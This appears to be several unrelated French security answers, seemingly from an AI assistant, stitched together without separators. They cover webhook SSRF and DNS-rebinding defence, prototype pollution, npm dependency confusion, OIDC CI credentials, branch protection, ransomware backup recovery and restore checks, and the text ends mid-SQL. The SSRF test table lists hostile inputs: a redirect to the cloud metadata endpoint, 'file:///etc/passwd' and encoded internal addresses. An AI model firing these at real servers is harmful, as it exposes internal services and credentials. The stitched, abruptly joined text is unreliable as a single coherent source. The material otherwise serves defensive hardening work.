- **Authentification mutuelle interne** (mTLS, tokens) sur tous les services privés : un GET anonyme arrivant sur 10.0.0.5 doit être rejeté par le service lui-même. Défense en profondeur, pas substitut au filtrage.
- Journalisation et alerte sur toute tentative de connexion sortante bloquée vers une plage interne, avec l'URL et le tenant à l'origine. Attention : ne journalisez jamais le secret de signature ni les jetons portés par la requête, même hachés.
- Ne faites pas dépendre la sécurité du seul filtrage réseau : un hôte à IP publique mais NATé vers l'interne, ou un service interne exposé publiquement, contourne ce contrôle.
## 4. Défense de résolution (couche applicative, corrige la cause)
Règle centrale : **résoudre une seule fois, valider l'adresse obtenue, puis se connecter à cette adresse épinglée, jamais au nom.** C'est le pinning d'IP, dont le principe est décrit pour les navigateurs comme le verrouillage de l'adresse sur la valeur reçue à la première réponse DNS (source : article Wikipédia EN « DNS rebinding », section Protection).
Checklist applicative :
1. Parser l'URL strictement : schéma `https` uniquement, pas de `userinfo`, pas de port arbitraire (allowlist 443), rejet des formes numériques encodées.
2. Résoudre au moment de l'envoi, **valider TOUS les enregistrements A et AAAA retournés**, et refuser si un seul est privé, loopback, link-local ou multicast. Valider seulement le premier laisse passer les réponses multi-A.
3. Se connecter à l'IP validée, en conservant le `Host` et le SNI d'origine pour que TLS reste valide. La validation du certificat doit rester active.
4. **Interdire les redirections** par défaut ; si elles sont nécessaires, revalider intégralement l'étape 2 et 3 pour chaque saut, avec un plafond de sauts.
5. Ne pas renvoyer le corps ni les en-têtes de la réponse à l'utilisateur, pour éviter de transformer un SSRF aveugle en SSRF exploitable en lecture.
6. Timeouts stricts, taille de réponse plafonnée, pas de suivi de `Location` vers un autre schéma.
7. **Allowlist quand c'est possible** : l'OWASP recommande de restreindre les requêtes serveur à une liste d'applications de confiance lorsque c'est faisable (source : article Wikipédia EN « Server-side request forgery »).
8. Côté résolveur : un résolveur interne, ou un pare-feu du type dnswall, peut filtrer les réponses DNS contenant des adresses locales (source : article Wikipédia EN « DNS rebinding »). Le même article signale la contrepartie : ce filtrage entre en conflit avec les listes de blocage DNS type DNSBL, qui utilisent légitimement des réponses en `127.0.0.0/8` (RFC 5782). Ne l'appliquez donc qu'au résolveur des workers webhook, pas au résolveur des serveurs de messagerie.
9. Signer les webhooks (HMAC) et considérer le secret comme exposé si une requête a pu partir vers une destination non validée ; prévoir la rotation.
Esquisse d'implémentation, Python, avec pinning explicite. **Je n'ai pas exécuté ce code** (le laboratoire local n'a pas d'accès réseau), il est fourni comme squelette raisonné à tester chez vous :
```python
import ipaddress
import socket
from urllib.parse import urlsplit
import httpx # dependance eprouvee, versions epinglees cote requirements
BLOCKED_V4 = [
ipaddress.ip_network(n) for n in (
"0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8",
"169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.168.0.0/16",
"198.18.0.0/15", "224.0.0.0/4", "240.0.0.0/4",
)
]
BLOCKED_V6 = [
ipaddress.ip_network(n) for n in ("::1/128", "fc00::/7", "fe80::/10", "::/128")
]
class WebhookRejected(Exception):
pass
def _is_forbidden(ip: ipaddress._BaseAddress) -> bool:
if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped:
ip = ip.ipv4_mapped
if not ip.is_global:
return True
nets = BLOCKED_V4 if ip.version == 4 else BLOCKED_V6
return any(ip in net for net in nets)
def resolve_and_validate(host: str, port: int) -> str:
"""Resout puis exige que TOUTES les adresses retournees soient publiques."""
try:
infos = socket.getaddrinfo(host, port, proto=socket.IPPROTO_TCP)
except socket.gaierror as exc:
raise WebhookRejected(f"resolution impossible pour {host}") from exc
if not infos:
raise WebhookRejected(f"aucune adresse pour {host}")
addrs = {info[4][0] for info in infos}
for raw in addrs:
if _is_forbidden(ipaddress.ip_address(raw)):
raise WebhookRejected(f"adresse non autorisee resolue pour {host}")
return sorted(addrs)[0] # IP epinglee, deterministe
def send_webhook(url: str, payload: bytes, signature: str, timeout: float = 5.0):
parts = urlsplit(url)
if parts.scheme != "https":
raise WebhookRejected("schema non autorise")
if parts.username or parts.password:
raise WebhookRejected("userinfo interdit dans l'URL")
host = parts.hostname
if not host:
raise WebhookRejected("hote absent")
port = parts.port or 443
if port != 443:
raise WebhookRejected("port non autorise")
pinned_ip = resolve_and_validate(host, port)
# On se connecte a l'IP validee, en gardant Host et SNI d'origine :
# aucune seconde resolution DNS n'a lieu, la fenetre TOCTOU est fermee.
transport = httpx.HTTPTransport(retries=0)
with httpx.Client(
transport=transport,
timeout=timeout,
follow_redirects=False, # pas de redirection = pas de revalidation oubliee
verify=True,
headers={"Host": host},
) as client:
target = f"https://{pinned_ip}:{port}{parts.path or '/'}"
if parts.query:
target += "?" + parts.query
return client.post(
target,
content=payload,
headers={"X-Signature": signature},
extensions={"sni_hostname": host},
)
```
Point d'attention honnête sur ce squelette : le nom exact du mécanisme de forçage du SNI dépend de la version de la bibliothèque HTTP retenue. Si votre client ne permet pas de dissocier IP de connexion et SNI, la solution robuste est un **proxy de sortie dédié** qui fait lui-même la résolution, la validation et le pinning, ce qui a l'avantage de centraliser le contrôle pour tous les services.
## 5. Vérification
Tests à écrire, avec assertions réelles, en simulant le résolveur :
| Test | Entrée | Attendu |
|---|---|---|
| Rebinding | résolveur simulé : IP publique au 1er appel, `10.0.0.5` au 2e | rejet, ou connexion à l'IP épinglée uniquement, jamais vers 10.0.0.5 |
| Multi-A | réponse `[203.0.113.10, 10.0.0.5]` | rejet |
| Redirection | 302 vers `http://169.254.169.254/latest/meta-data/` | rejet, aucune requête émise |
| Encodages | `https://0xA000005/`, `https://167772165/`, `https://[::ffff:10.0.0.5]/` | rejet |
| Schéma | `file:///etc/passwd`, `gopher://…` | rejet |
| Cas légitime | domaine public réel | succès, non régression |
| Réseau | tentative directe vers `10.0.0.5` depuis le worker | bloquée par le pare-feu de sortie, événement journalisé |
Contrôle de non-régression important : vérifiez que la validation est bien faite **au moment de chaque envoi et de chaque retry**, pas seulement à l'enregistrement du webhook.
## 6. Risques résiduels et limites
Aucune de ces mesures ne rend l'envoi de webhooks « sans risque ». Restent en particulier :
- Le **pinning d'IP casse certains usages légitimes** : le DNS dynamique, la répartition de charge par DNS, les bascules de fournisseur. L'article Wikipédia EN « DNS rebinding » note que cette technique peut bloquer des usages légitimes du Dynamic DNS et qu'il faut échouer en mode sûr si l'adresse change, car réutiliser une IP au delà de l'expiration du TTL ouvre la vulnérabilité inverse, l'ancienne adresse pouvant être passée sous contrôle d'un attaquant. Épinglez donc pour la durée d'**une** requête, pas durablement.
- Un **hôte à IP publique mais NATé vers l'interne**, ou un service interne joignable par une IP publique, passe la validation d'adresse. Seule la segmentation réseau plus l'authentification interne couvrent ce cas.
- Le filtrage DNS des adresses privées permet à un attaquant de **cartographier vos plages internes** par différence de comportement (effet de canal auxiliaire mentionné par le même article à propos du blocage sur le serveur de noms local) ; uniformisez les messages d'erreur et les temps de réponse.
- **Un nombre fini de tests ne prouve pas la propriété universelle** « aucune requête ne peut atteindre le réseau interne ». La garantie repose sur l'invariant « la connexion se fait toujours vers une IP explicitement validée dans la même opération, et le réseau refuse par défaut toute sortie hors proxy », qu'il faut faire tenir par revue de code et par configuration, pas par échantillonnage.
- Points que je ne peux pas vérifier ici, faute d'accès à votre code et à votre infrastructure : quelle bibliothèque HTTP vous utilisez, si votre client refait une résolution DNS interne, où exactement se situe la validation par rapport à la file d'attente, et si vos workers ont une route vers `10.0.0.0/8`. Ce sont les quatre éléments à instrumenter en premier.- **Vulnérabilité :** pollution de prototype (*prototype pollution*). - **Clés à bloquer à chaque niveau :** `__proto__`, ainsi que `constructor` et `prototype` pour empêcher le contournement via `constructor.prototype`. - **Effet global :** `Object.prototype.isAdmin` devient `true` ; les objets ordinaires héritent alors de cette valeur, ce qui peut provoquer un contournement généralisé des autorisations dans tout le processus. - **Remède structurel :** supprimer le merge récursif générique d’entrées non fiables, valider une liste blanche de champs puis les copier dans un objet sans prototype (`Object.create(null)`) ou une `Map`. Les contrôles d’autorisation doivent utiliser des données serveur et des propriétés propres (`Object.hasOwn`).
## 1. Diagnostic, l'attaque
**Nom de l'attaque : confusion de dépendances (dependency confusion), variante substitution de paquet dans la chaîne d'approvisionnement logicielle.**
Le scénario est le suivant : le paquet `@lanxas/core` est censé provenir d'un registre privé. La CI, faute de correspondance explicite entre le scope `@lanxas` et son registre, interroge un flux qui expose aussi le registre public. Un attaquant publie sur le registre public un paquet homonyme avec un numéro de version plus élevé. Le résolveur retient la version la plus haute compatible avec la plage semver, donc le paquet de l'attaquant, et son code s'exécute dans le contexte de la CI (scripts d'installation, variables d'environnement, jetons, secrets de déploiement).
Deux propriétés documentées rendent cela possible :
- le registre npm public n'applique aucun processus de validation à la soumission, donc un paquet peut y être de basse qualité, non sûr ou malveillant, et le retrait repose sur des signalements d'utilisateurs (Wikipedia EN, article « Npm ») ;
- dans `package.json`, chaque dépendance peut spécifier une plage de versions valides selon le schéma de versionnage sémantique, ce qui permet la mise à jour automatique des paquets (Wikipedia EN, article « Npm »). C'est précisément ce mécanisme d'auto-montée en version qu'exploite la version supérieure publiée par l'attaquant.
Le précédent historique de compromission par publication de paquets malveillants sur ce registre est établi : attaque de la chaîne d'approvisionnement de septembre 2025 sur jusqu'à 18 paquets populaires après hameçonnage des mainteneurs, et ver auto-répliquant Shai-Hulud, la même période, volant des identifiants de développeurs GitHub et touchant plus de 187 paquets (Wikipedia EN, article « Npm »). Cela ne prouve pas votre cas, mais établit que la classe de menace est réelle et exploitée.
**Nature de la compromission :** il s'agit d'abord d'une atteinte à l'**authenticité de l'origine** du code, qui entraîne une atteinte à l'**intégrité** de la construction, puis, très probablement, à la **confidentialité** (exfiltration de secrets de CI). Ces trois propriétés doivent être traitées séparément.
## 2. Cause racine
La cause n'est pas « le registre public est dangereux », c'est une **résolution de nom ambiguë** : un même identifiant, `@lanxas/core`, peut être satisfait par deux autorités différentes, et l'arbitrage se fait sur le numéro de version, pas sur la confiance accordée à la source. Le système fait donc confiance implicitement à une donnée d'origine externe.
Trois défauts de configuration cumulés, à vérifier chez vous :
| Défaut | Effet |
|---|---|
| Absence de directive de scope `@lanxas:registry` | les requêtes pour le scope partent vers le registre par défaut, donc public |
| Registre virtuel amont agrégeant privé et public dans un seul flux | le résolveur voit les deux jeux de versions et choisit la plus haute |
| Plage semver ouverte (`^`, `*`, `latest`) sans lockfile appliqué | la version supérieure de l'attaquant devient éligible automatiquement |
Précision de rigueur : je ne peux pas déterminer, sans voir votre configuration réelle (`.npmrc`, définition du registre amont, `package.json`, lockfile, logs de CI), lequel de ces trois défauts a joué. Les deux premiers produisent le même symptôme observable et se traitent différemment. Ce point relève de la vérification, pas de l'affirmation.
## 3. Contrôle « registre », maîtriser l'autorité de nommage
Objectif : **un nom interne ne doit avoir qu'une seule source possible.** Principe de refus par défaut.
1. **Épingler le scope à son registre, explicitement**, dans un `.npmrc` versionné au dépôt et dans l'image de CI.
2. **Interdire le repli (fallback) vers le public pour les noms internes.** Sur un registre virtuel de type dépôt agrégé, retirer le registre public de l'agrégat pour le scope `@lanxas`, ou déclarer une règle d'exclusion de motif `@lanxas/*` sur le flux distant. C'est le contrôle décisif : sans lui, l'épinglage côté client est contournable par toute machine mal configurée.
3. **Réserver défensivement le scope `@lanxas` sur le registre public** (mesure de dernier recours, pour que personne ne puisse y publier ce nom). Utile, mais ne remplace jamais le point 2.
4. **Authentification obligatoire sur le registre privé** (`always-auth`), afin qu'une requête non authentifiée échoue au lieu de basculer silencieusement ailleurs.
5. **Sortie réseau de la CI restreinte** en liste blanche vers le seul miroir interne, pas d'accès direct au registre public depuis les exécuteurs.
6. **Interdire l'exécution des scripts d'installation** en CI, ce qui neutralise le vecteur d'exécution le plus courant de ces paquets.
Configuration `.npmrc` correspondante :
```ini
# Scope LANXAS : source unique, non négociable
@lanxas:registry=https://registry.interne.lanxas.example/repository/npm-private/
# Tout le reste passe par le miroir interne, jamais en direct
registry=https://registry.interne.lanxas.example/repository/npm-proxy/
# Une requête non authentifiée doit échouer, pas se replier
always-auth=true
//registry.interne.lanxas.example/repository/npm-private/:_authToken=${NPM_TOKEN_LANXAS}
# Durcissement de la construction
ignore-scripts=true
audit=false
fund=false
```
Le jeton est injecté par variable d'environnement depuis un coffre à secrets. Il ne doit **jamais** figurer en clair dans le fichier, dans une URL, dans un log, ni être committé. Le jeton de CI doit être en lecture seule sur le registre, jamais en droit de publication.
## 4. Contrôle « intégrité », lier le nom à un contenu exact
Objectif : même si la résolution de nom échoue, **le contenu installé doit être celui, et seulement celui, qui a été validé.**
1. **Lockfile committé et appliqué.** npm fournit le fichier `package-lock.json`, qui contient l'entrée de la version exacte utilisée par le projet après évaluation du versionnage sémantique de `package.json` (Wikipedia EN, article « Npm »). En CI, utiliser une installation qui **échoue** si le lockfile n'est pas satisfait, plutôt qu'une installation qui le réécrit.
2. **Vérification d'empreinte du tarball.** Le lockfile porte, pour chaque paquet, un champ d'intégrité de type Subresource Integrity que le client vérifie avant dépaquetage. Je vous le signale comme connaissance technique de ma part : je n'ai pas pu la confirmer dans les sources locales dont je dispose, l'article encyclopédique documentant le lockfile sans détailler ce champ. À valider dans la documentation officielle du client avant d'en faire une exigence contractuelle.
3. **Formulation juste de ce que prouve une empreinte.** Une concordance d'empreinte cryptographique n'est pas une preuve mathématique absolue d'identité, puisque des collisions existent nécessairement pour toute fonction de hachage. C'est une assurance très forte sous les hypothèses de sécurité de la fonction employée. Elle garantit l'intégrité vis-à-vis d'une altération, elle ne garantit pas à elle seule l'authenticité de l'origine : une empreinte de paquet malveillant reste une empreinte valide. D'où la nécessité du contrôle registre en amont.
4. **Attestation d'origine.** Exiger, pour les paquets internes, une provenance signée à la publication, et refuser en CI tout artefact interne sans attestation vérifiable. C'est ce contrôle, et non le hachage, qui traite l'authenticité.
5. **Miroir interne immuable.** Les versions déjà servies ne sont jamais réécrites ni supprimées, ce qui protège aussi du scénario de retrait de paquet, dont l'incident `left-pad` de mars 2016 a montré l'effet de rupture (Wikipedia EN, article « Npm »).
6. **Fixation forte des versions internes** (versions exactes, pas de plage `^`) pour les paquets du scope `@lanxas`.
Séquence de CI :
```bash
set -euo pipefail
# 1. Refuser toute construction sans lockfile committé
test -f package-lock.json || { echo "ERREUR: lockfile absent"; exit 1; }
# 2. Vérifier qu'aucun paquet du scope interne ne pointe vers le registre public
if grep -Eq '"resolved"[[:space:]]*:[[:space:]]*"https://registry\.npmjs\.org/@lanxas/' package-lock.json; then
echo "ERREUR: dependance @lanxas resolue depuis le registre public"
exit 1
fi
# 3. Installation reproductible, scripts desactives, verification d'integrite
npm ci --ignore-scripts
# 4. Journalisation de l'arbre resolu, pour audit et comparaison
npm ls --all --json > artefacts/arbre-dependances.json
```
## 5. Vérification, ce qu'il faut réellement contrôler
Je n'ai pas accès à votre dépôt ni à vos journaux : ce qui suit est un protocole de vérification, pas un constat.
- **Sur l'incident** : relever dans les journaux de CI l'URL réellement contactée pour `@lanxas/core` et la version installée, puis comparer à la version attendue. Une absence d'erreur ne prouve rien, l'attaque réussie est silencieuse.
- **Sur le paquet public** : récupérer le tarball dans un bac à sable isolé, sans réseau et sans exécution de script, et inspecter les scripts de cycle de vie et les points de sortie réseau. Ne l'installez jamais sur une machine de développement ou sur un exécuteur de CI.
- **Test de non-régression du contrôle registre** : publier sur un registre de test un paquet `@lanxas/core` de version volontairement très supérieure, et vérifier que la CI **échoue** au lieu de l'installer. Un contrôle non testé n'est pas un contrôle.
- **Rotation immédiate de tous les secrets** exposés aux exécuteurs concernés, en supposant la compromission jusqu'à preuve du contraire.
Point de logique à ne pas franchir : un nombre fini de constructions correctes après correction ne démontre pas que le défaut est éliminé. Seule une propriété structurelle, un seul registre possible pour le scope `@lanxas` plus un échec dur en cas de résolution hors périmètre, fonde une garantie générale.
## 6. Risques résiduels et limites
- Aucune de ces mesures ne rend l'installation « sans risque ». La compromission du compte d'un mainteneur d'une dépendance transitive légitime reste possible, comme l'a montré l'attaque de septembre 2025 par hameçonnage des mainteneurs (Wikipedia EN, article « Npm »).
- `ignore-scripts` supprime un vecteur d'exécution à l'installation, pas l'exécution du code de la bibliothèque au moment de l'exécution ou des tests.
- La réservation défensive du nom sur le registre public ne couvre pas les variantes typographiques du nom (typosquattage).
- Le contrôle par `grep` sur le lockfile est une barrière utile mais syntaxique : il détecte le symptôme connu, il ne remplace pas la politique côté registre.
- Sur l'aspect juridique et contractuel d'un incident de chaîne d'approvisionnement, notamment les obligations de notification, mon propos n'a pas valeur d'avis juridique.## Les quatre éléments de la chaîne
| # | Élément | Rôle dans la chaîne | Ce qui doit être configuré |
|---|---------|---------------------|----------------------------|
| 1 | **Émetteur (issuer OIDC)** | Le fournisseur d'identité de la plateforme CI émet, pour chaque exécution de job, un jeton signé de courte durée | URL d'`issuer` enregistrée côté cloud comme fournisseur d'identité de confiance, découverte via le document de configuration OIDC et clés publiques (JWKS) récupérées et mises en cache, rotation des clés supportée |
| 2 | **Claims liés (binding)** | Les revendications du jeton identifient précisément *quel* job s'authentifie, c'est ce qui remplace le secret | `iss`, `aud`, `sub`, `exp`, `iat`, `jti` ; la politique de confiance côté cloud exige une correspondance **exacte** sur `iss` + `aud` + `sub` (dépôt, branche ou environnement, workflow) |
| 3 | **Échange (token exchange)** | Le job présente le JWT au service de jetons de sécurité (STS) du cloud, qui le valide (signature, `aud`, `exp`, `sub`) et le troque contre un accès | Appel d'échange de jeton vers le STS, avec le rôle cible et la durée demandée ; aucune écriture du JWT sur disque ni dans les logs |
| 4 | **Credential temporaire** | Le STS renvoie des identifiants éphémères à privilèges limités, expirant seuls, non renouvelables sans nouveau JWT | Durée de vie demandée $600\ \text{s}$, portée au rôle CI en moindre privilège, injectés en variables d'environnement mémoire, masqués dans les journaux |
Les claims standards cités en ligne 2 (`iss`, `sub`, `aud`, `exp`, `nbf`, `iat`, `jti`) sont ceux définis par la spécification JWT, RFC 7519 (article Wikipédia FR « JSON Web Token », encyclopédie locale LANXAS). Le fait qu'OpenID Connect soit une couche d'identification bâtie sur OAuth 2.0, exposant une interface HTTP RESTful en JSON, est établi par l'article Wikipédia FR « OpenID Connect » (encyclopédie locale LANXAS).
## Contrôles de vérification
1. La politique de confiance ne contient **aucun caractère générique** sur `sub` (sinon n'importe quelle branche, y compris une branche créée par un tiers via une contribution externe, obtient le rôle).
2. `aud` est une valeur spécifique à votre compte cloud, pas une valeur par défaut partagée par tous les utilisateurs de la plateforme CI.
3. Les journaux d'audit côté cloud montrent bien un appel d'échange par exécution, et l'expiration effective du credential.
4. Aucun secret long terme ne subsiste dans la configuration du dépôt après migration : à vérifier et à révoquer explicitement, la présence du flux OIDC ne supprime pas les anciens secrets.
## Risques résiduels et limites
- **Le plancher de durée est à vérifier chez votre fournisseur.** Ma mémoire de modèle suggère que certains services d'échange de jetons imposent une durée minimale supérieure à 10 minutes pour les identifiants temporaires, et une durée maximale plafonnée par la configuration du rôle. Je ne dispose pas ici d'une source fiable pour le confirmer : consultez la documentation officielle du STS de votre cloud avant de fixer $600\ \text{s}$. Si un plancher existe, la valeur obtenue sera ce plancher, pas 10 minutes.
- **Confidentialité du JWT en transit.** Un JWT signé mais non chiffré doit impérativement transiter par HTTPS, sinon un intercepteur peut le réutiliser (article Wikipédia FR « JSON Web Token », section Vulnérabilités, encyclopédie locale LANXAS). Le JWT est un porteur : pendant sa validité, quiconque le détient peut effectuer l'échange.
- **Le risque n'est pas nul, il est déplacé.** OIDC supprime le secret statique de longue durée, mais transfère la confiance vers l'exactitude de la politique de `sub`/`aud` et vers l'intégrité de la plateforme CI. Une compromission du runner pendant l'exécution donne accès au credential actif.
- **Une signature valide n'est pas une preuve absolue d'identité**, c'est une assurance cryptographique forte sous les hypothèses de sécurité de l'algorithme et de protection des clés de l'émetteur.
- Séparez les rôles : droits de migration et droits d'exécution distincts, refus par défaut, contrôle d'autorisation côté serveur pour chaque action.**Revue** : au moins 1 approbation obligatoire (2 recommandées sur service critique) par un propriétaire déclaré dans CODEOWNERS, approbations périmées invalidées à chaque nouveau push, auteur non autoentifiant. **Tests** : tous les contrôles d'intégration continue requis en succès sur le commit de tête de la PR, avec exigence de branche à jour avec `main` (contrôles stricts), sans possibilité de contournement. **Historique** : historique linéaire imposé (squash ou rebase uniquement, pas de merge commit), `force-push` et suppression de branche interdits sur `main`. **Signature** : commits signés et vérifiés obligatoires (GPG, SSH ou S/MIME), clé rattachée à une identité du dépôt. Précision d'honnêteté : ces quatre valeurs sont les réglages standards de protection de branche ; les intitulés exacts diffèrent selon la plateforme (GitHub, GitLab, Bitbucket) et sa version, je ne peux pas garantir le libellé littéral de votre interface sans la consulter.
## 1. Cadre et limites du verdict Je ne dispose d'aucun accès à votre système : les quatre verdicts ci-dessous sont des **verdicts conditionnels de doctrine**, valables sous les hypothèses explicitées, et non des constats vérifiés. Chaque verdict est accompagné du test qui le confirme ou l'infirme. Aucun des quatre n'est un verdict « sans risque ». Rappel de la règle de sauvegarde applicable : la stratégie 3-2-1-1-0 ajoute à la règle 3-2-1 « 1 copie hors-ligne » et « 0 erreur, une sauvegarde est valide si on l'a restaurée ou au moins vérifié son intégrité », précisément en raison des rançongiciels (Wikipédia FR, *Sauvegarde (informatique)*, section Stratégies de sauvegarde). Ce dernier point commande le verdict 4. --- ## 2. Les quatre verdicts | Élément | Verdict | Statut de confiance | Usage autorisé | |---|---|---|---| | Production | **Compromise, intégrité et confidentialité perdues** | Nulle | Preuve seulement (image forensique), pas de redémarrage en place | | Sauvegarde montée en écriture | **Compromise, même surface d'attaque que la production** | Nulle | Aucune restauration ; analyse de la chronologie de l'attaque | | Copie objet sous Object Lock | **Présumée intacte, non prouvée intacte, et sous compte à rebours** | Forte mais conditionnelle | Seule candidate à la restauration, après contrôle | | Source de restauration | **La copie verrouillée, sur une version antérieure au premier indicateur de compromission, restaurée dans un environnement neuf et isolé** | À établir par test de restauration | Restauration complète | ### Verdict 1, production : compromise Le chiffrement effectif établit que l'attaquant a disposé de droits d'écriture sur les données. Cela ruine l'**intégrité** et la **disponibilité**. Il faut en outre présumer une atteinte à la **confidentialité** (exfiltration préalable, modèle de double extorsion), tant que les journaux réseau ne l'ont pas écartée : l'absence de preuve d'exfiltration n'est pas une preuve d'absence d'exfiltration. Corollaire opérationnel : on ne « nettoie » pas la production, on la reconstruit. Les machines existantes servent de pièces, pas de socle. ### Verdict 2, sauvegarde montée en écriture : compromise au même titre C'est le point structurel de l'incident. Une sauvegarde accessible en écriture depuis le périmètre compromis n'est pas une sauvegarde au sens du risque rançongiciel, c'est une réplique de la production partageant son chemin d'accès et ses identifiants. Elle tombe donc dans le même verdict, sans dégradé intermédiaire. Sa valeur résiduelle est uniquement **forensique** : les horodatages de chiffrement y datent la propagation. Hypothèse à vérifier avant de la déclarer totalement perdue : l'existence de snapshots immuables au niveau de la baie ou de l'hyperviseur, hors du contrôle du compte compromis. Si aucun, verdict définitif. ### Verdict 3, copie verrouillée : présumée intacte, sous réserves, et sous échéance Object Lock relève du modèle WORM : les versions d'objet couvertes ne peuvent être ni écrasées ni supprimées avant l'expiration de la rétention. Le verdict est donc favorable, mais il est **conditionnel à quatre points de contrôle** et grevé de risques résiduels réels : 1. **Mode de verrouillage.** En mode conformité, personne, y compris l'administrateur du compte, ne peut lever la rétention. En mode gouvernance, un principal disposant du privilège de contournement de la gouvernance peut le faire : si l'attaquant a obtenu ce privilège, la protection est théorique. À vérifier en priorité. 2. **Périmètre effectif du verrouillage.** La rétention s'applique version par version. Vérifiez que **toutes** les versions utiles sont couvertes, et non seulement les objets récents, et que le versionnement était bien actif. 3. **Pollution par de nouvelles versions.** Object Lock empêche la destruction des versions anciennes, il n'empêche pas l'écriture de **nouvelles** versions chiffrées par-dessus. La version « courante » peut donc être malveillante. Le point de restauration doit être une version choisie explicitement, antérieure au premier indicateur de compromission. 4. **Dépendance cryptographique.** Si les objets sont chiffrés par un service de gestion de clés, l'immuabilité des objets ne protège pas la **clé**. Une suppression programmée de la clé rendrait des objets immuables mais illisibles. C'est le risque résiduel le plus sous-estimé de ce scénario : à contrôler immédiatement. **Échéance critique.** « Jusqu'à J+30 » signifie que la protection s'éteint à J+30. Passé ce terme, la suppression redevient possible, y compris par un accès encore actif ou par une règle de cycle de vie. Action à mener sans attendre la fin de l'investigation : **prolonger la rétention ou poser une conservation légale sans échéance** sur les versions retenues, depuis un compte administratif distinct et réputé sain. ### Verdict 4, source de restauration **La copie verrouillée est la seule source admissible**, et seulement dans les conditions suivantes : - version sélectionnée **antérieure au premier indicateur de compromission**, et non à la date de détection du chiffrement, l'intrusion précédant systématiquement le déclenchement ; - restauration vers une **infrastructure neuve**, comptes et identifiants entièrement renouvelés, réseau isolé, jamais vers les hôtes d'origine ; - **restauration d'essai validée avant la bascule** : conformément à la règle « 0 erreur », une sauvegarde n'est réputée valide qu'une fois restaurée ou son intégrité vérifiée (Wikipédia FR, *Sauvegarde (informatique)*) ; - montage de la copie source en **lecture seule** durant toute l'opération, sous un rôle dédié en moindre privilège, distinct du rôle de sauvegarde. Sur l'intégrité : une concordance d'empreintes entre la copie restaurée et un condensat de référence conservé hors de portée de l'attaquant constitue une assurance cryptographique très forte, non une preuve mathématique absolue d'identité, puisque des collisions existent nécessairement. Et une empreinte ne vaut que si sa **référence** est antérieure à l'intrusion et stockée hors du périmètre compromis ; une référence recalculée après coup ne prouve rien. --- ## 3. Séquence d'actions, dans cet ordre 1. Isoler : couper les chemins d'accès de la production et de la sauvegarde montée vers le stockage objet, révoquer les clés d'accès et jetons, forcer la rotation des secrets. 2. Geler la preuve : prolonger la rétention ou poser une conservation légale sur les versions retenues, avant toute autre manipulation. 3. Vérifier le mode de verrouillage, les privilèges de contournement, l'état des clés de chiffrement et les règles de cycle de vie du bucket. 4. Dater l'intrusion à partir des journaux et des horodatages de la sauvegarde compromise, puis choisir la version cible. 5. Reconstruire un environnement neuf, restaurer en isolement, analyser antivirus et intégrité avant toute exposition réseau. 6. Basculer, puis reconstruire la chaîne de sauvegarde en supprimant définitivement le montage en écriture, cause racine de l'incident. 7. Obligations connexes à traiter en parallèle avec vos conseils : notification des autorités et des personnes concernées si des données personnelles sont en cause, et dépôt de plainte. Je ne formule pas ici d'avis juridique. --- ## 4. Contrôles techniques à exécuter Sur une interface compatible S3, les opérations à mener sont : lister les versions du bucket, lire la configuration de verrouillage du bucket, lire la rétention et la conservation légale d'une version donnée, puis poser une conservation légale. Je ne peux pas vérifier hors ligne la syntaxe exacte des commandes de votre client ni de votre fournisseur : reportez-vous à la documentation officielle de votre fournisseur de stockage objet plutôt qu'à une commande recopiée, une erreur d'option sur ces appels pouvant produire un effet inverse de celui recherché. --- ## 5. Risques résiduels à énoncer sans détour - Le point de restauration retenu peut déjà contenir la porte dérobée initiale : la restauration rétablit les données, pas nécessairement la salubrité du système. - La confidentialité est perdue de façon irréversible en cas d'exfiltration ; aucune restauration ne la répare, le paiement d'une rançon ne l'efface pas davantage. - En mode gouvernance, l'immuabilité peut n'avoir jamais été effective. - La perte de la clé de chiffrement annule la valeur de la copie immuable. - Le délai J+30 est une contrainte dure : sans prolongation, l'unique source de restauration devient supprimable à son terme.
## Diagnostic
Le démarrage du serveur ne prouve rien sur l'intégrité des données : il n'établit que la disponibilité du service. Intégrité, disponibilité, authenticité et complétude sont quatre propriétés distinctes, et ici seule la disponibilité est constatée. Un manque de 2 % des pièces jointes signifie que la restauration est **incomplète**, donc que la réouverture exposerait les utilisateurs à des données trompeuses (une fiche qui affiche un justificatif absent est pire qu'une fiche marquée indisponible).
Précision méthodologique indispensable avant tout : le chiffre de 2 % doit être qualifié. Deux situations opposées se cachent derrière le même symptôme, et le remède n'est pas le même.
| Cas | Description | Signature |
|---|---|---|
| A | La ligne existe en base, l'objet binaire est absent du stockage | Références pendantes (dangling) |
| B | L'objet existe dans le stockage, la ligne de métadonnées est absente | Objets orphelins, contenu inaccessible |
| C | Les deux sont présents mais divergent (versions de sauvegarde désynchronisées) | Taille ou empreinte non concordante |
Je n'ai aucun accès à votre système : tout ce qui suit est un protocole à exécuter, et non un constat. Les seuls chiffres que je produis sont des calculs statistiques que j'ai effectués et dont je donne la formule.
**Préalable non négociable** : geler l'écriture (mode lecture seule ou maintenance), et créer un point de restauration de l'état restauré actuel *avant* toute action corrective. Aucune suppression d'orphelin, aucun `DELETE`, aucun `TRUNCATE`, aucun nettoyage de stockage à ce stade : on mesure d'abord, on décide ensuite, avec accord explicite de l'exploitant.
---
## Contrôle 1, base de données
Objectif : établir que le cliché restauré est cohérent, complet et non tronqué au niveau transactionnel.
Points à vérifier :
1. **Cohérence physique** : absence de corruption de pages et de blocs. Sur PostgreSQL, `pg_amcheck` sur les index et tables critiques ; sur MySQL/InnoDB, `CHECK TABLE ... EXTENDED`. Hypothèse : moteur relationnel classique, à adapter.
2. **Point de cohérence temporel** : le LSN ou la position binlog de fin de restauration, comparés à l'objectif de point de restauration annoncé (RPO). Il faut identifier la borne temporelle exacte au-delà de laquelle rien n'a été restauré.
3. **Complétude structurelle** : nombre de tables, de vues, de contraintes, de déclencheurs, d'index et de séquences, comparés au schéma de référence. Une restauration qui « démarre » peut avoir perdu des contraintes de clé étrangère, ce qui masque précisément le problème du contrôle 3.
4. **Séquences et compteurs** : toute séquence positionnée en dessous du maximum de la colonne provoquera des collisions de clé primaire dès la réouverture.
5. **Volumétrie par table**, avec bornes hautes et basses des identifiants et des horodatages.
```sql
-- Complétude structurelle (PostgreSQL)
SELECT c.relkind, count(*)
FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace
WHERE n.nspname NOT IN ('pg_catalog','information_schema')
GROUP BY 1 ORDER BY 1;
-- Contraintes FK effectivement presentes et validees
SELECT conrelid::regclass AS table_ref, conname, convalidated
